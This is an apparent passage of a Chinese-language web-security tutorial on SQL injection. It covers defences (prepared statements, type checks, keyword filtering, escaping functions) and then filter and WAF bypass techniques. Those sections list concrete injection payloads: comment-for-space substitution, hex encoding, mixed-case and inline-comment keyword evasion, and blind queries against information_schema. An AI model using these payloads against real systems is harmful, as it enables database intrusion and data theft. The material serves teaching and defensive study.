預先編譯好,固定SQL語句的語法結構,就是說SQL語句是固定的形式不會更改。不管用戶輸入什么,只會當做字符串字面值參數輸入,不可能對固定的SQL語句語法結構進行更改。
下面例子獲取數據基於鍵值已提供的形式。用戶的輸入被自動用引號括起來,因此不會有 SQL 注入攻擊的危險。引用
<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
print_r($row);
}
?>
02-檢查數據類型
對數字型注入有極好的防護,在強語言Java、C#中幾乎可以忽略數字型注入,因為它們需要聲明參數類型。在弱語言PHP、ASP中,並沒有強調要求處理數據類型,它們會自動判斷數據類型,極有可能造成SQL注入。
數據格式和類型檢查也是必要的,比如在輸入郵箱時,就嚴格按照郵箱格式進行篩選。這種篩選對於輸入長文本不合適,長文本包含的內容太多。
03-過濾危險字符
正則表達式匹配危險字符,列如:union、sleep、load_file等關鍵字,如果匹配到,則退出程序。
04-使用安全函數
在接收用戶輸入時添加安全函數
PHP安全函數舉例
addslashes
addslashes 返回字符串,該字符串為了數據庫查詢語句等的需要在某些特殊字符前加上了反斜線。這些特殊字符是單引號(')、雙引號(")、反斜線(\)與 NUL(NULL 字符)。
htmlspecialchars把HTML中的幾個特殊字符轉義成HTML Entity(可以預防XSS)
& (AND) => &” (雙引號) => " (當ENT_NOQUOTES沒有設置的時候)‘ (單引號) => ' (當ENT_QUOTES設置)< (小於號) => <> (大於號) => >
mysql_real_escape_string會 調用MySQL的庫函數mysql_real_escape_string,對(\x00), (\n), (\r), (), (‘), (\x1a)進行轉義,即在前面添加反斜杠(),預防SQL注入。
0x07-SQL bypass
01-繞過空格\引號\逗號\比較符號\注釋符號\等於號
繞過空格,在注入時空格不能使用,繞過
注釋符繞過空格,注釋符/**/代替空格
select/**/user,passwd/**/from/**/usrs;
采用括號代替空格,時間盲注用的多
sleep(ascii(mid(database()from(1)for(1)))=109)
%a0代替空格
繞過引號
十六進制繞過
select group_concat(table_name) from information_schema.tables where table_schema='security';
select group_concat(table_name) from information_schema.tables where table_schema=2773656375726974792720
繞過逗號
from for繞過
select substr(database(),1,1);
select substr(database() from 1 for 1);
offset繞過
select * from users limit 0,1;
select * from users limit 0 offset 1;
繞過比較符號<
>
,使用函數greatest()、least(),greatest()返回最大值,least()返回最小值
select * from usrs where id=1 and ascii(substr(database(),0,1))>64;
select * from usrs where id=1 and greatest(ascii(substr(database(),0,1)),64)=64;
繞過注釋符號-注釋符的作用是達到閉合的效果,使用代碼閉合符號代替注釋符,如"
等於號=繞過使用like 、rlike 、regexp
02-繞過關鍵字
如:union、select、where
使用注釋符繞過
常用注釋符
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
sel/**/ect * from users un/**/ion select passwd from emils wh/**/ere limit 0,1;
使用大小寫繞過
select * from users UnIon select passwd from emils WheRe limit 0,1;
使用內聯注釋繞過
select * from users /*!union*/ select passwd from emils /*!where*/ limit 0,1;
雙寫繞過
select * from users unUnionion select passwd from emils where limit 0,1;
繞過姿勢千千萬,需要實戰來積累經驗
0x08-SQL Bypass WAF(未完成)
繞WAF還得直接看WAF的規則,構造payload突破WAF規則。靈活的繞過WAF需要對SQL注入有深的了解,本人不行。
上面的0x07的bypass可能會繞過WAF。
繞WAF常用的方法有垃圾參數、分塊傳輸、組合繞過。
等本人對SQL注入有深的了解,再來補充這一部分內容。
0x09-參考
百度
《Web安全攻防:滲透測試實戰指南》
《Web安全深度剖析》
《白帽子講WEB安全》